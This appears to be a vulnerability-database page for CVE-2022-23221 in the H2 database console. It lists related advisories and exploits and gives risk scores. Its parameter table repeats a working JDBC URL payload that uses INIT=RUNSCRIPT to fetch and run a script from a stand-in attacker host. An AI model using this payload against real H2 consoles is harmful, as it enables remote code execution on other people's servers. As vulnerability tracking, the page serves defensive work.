Vulners
Lucene search
| Reporter | Title | Published | Views | Family All 65 |
|---|---|---|---|---|
 | H2 Database Console Remote Code Execution Exploit | 25 Jan 202200:00 | – | zdt |
 | h2database-rce-poc | 29 Apr 202612:58 | – | githubexploit |
 | Astra Linux - уязвимость в h2database | 20 May 202605:53 | – | astralinux |
 | Security Bulletin: Vulnerability in Hibernate Validator affects IBM watsonx.data | 18 Sep 202416:52 | – | ibm |
 | The vulnerability of the H2 database management system, related to improper code generation, allows a hacker to execute arbitrary code. | 8 Apr 202200:00 | – | bdu_fstec |
 | CVE-2022-23221 | 9 Feb 202402:16 | – | circl |
 | H2Console 参数注入漏洞 | 19 Jan 202200:00 | – | cnnvd |
 | H2 Database Remote Code Execution (CVE-2022-23221) | 3 Nov 202200:00 | – | checkpoint_advisories |
 | CVE-2022-23221 | 19 Jan 202200:00 | – | cvelist |
 | [SECURITY] [DLA 2923-1] h2database security update | 15 Feb 202200:06 | – | debian |
10
Node
Node
Node
10
| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| IGNORE_UNKNOWN_SETTINGS=TRUE | path | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Remote code execution via H2 Console by forcing RUNSCRIPT to retrieve and execute script from an attacker-controlled URL. | CWE-88 |
| FORBID_CREATION=FALSE | path | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Remote code execution via H2 Console by forcing RUNSCRIPT to retrieve and execute script from an attacker-controlled URL. | CWE-88 |
| INIT=RUNSCRIPT FROM 'http://attacker/evil.sql' | path | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Remote code execution via H2 Console by forcing RUNSCRIPT to retrieve and execute script from an attacker-controlled URL. | CWE-88 |
| FROM 'http://attacker/evil.sql' | path | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Remote code execution via H2 Console by forcing RUNSCRIPT to retrieve and execute script from an attacker-controlled URL. | CWE-88 |
| IGNORE_UNKNOWN_SETTINGS=TRUE | path | jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Remote code execution via H2 Console by forcing RUNSCRIPT to retrieve and execute script from an attacker-controlled URL. | CWE-88 |
| FORBID_CREATION=FALSE | path | jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Remote code execution via H2 Console by forcing RUNSCRIPT to retrieve and execute script from an attacker-controlled URL. | CWE-88 |
| INIT=RUNSCRIPT FROM 'http://attacker/evil.sql' | path | jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Remote code execution via H2 Console by forcing RUNSCRIPT to retrieve and execute script from an attacker-controlled URL. | CWE-88 |
| FROM 'http://attacker/evil.sql' | path | jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Remote code execution via H2 Console by forcing RUNSCRIPT to retrieve and execute script from an attacker-controlled URL. | CWE-88 |
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jun 2026 04:29Current
9.5High risk
Vulners AI Score9.5
CVSS 3.19.8
CVSS 210
EPSS0.64766
SSVC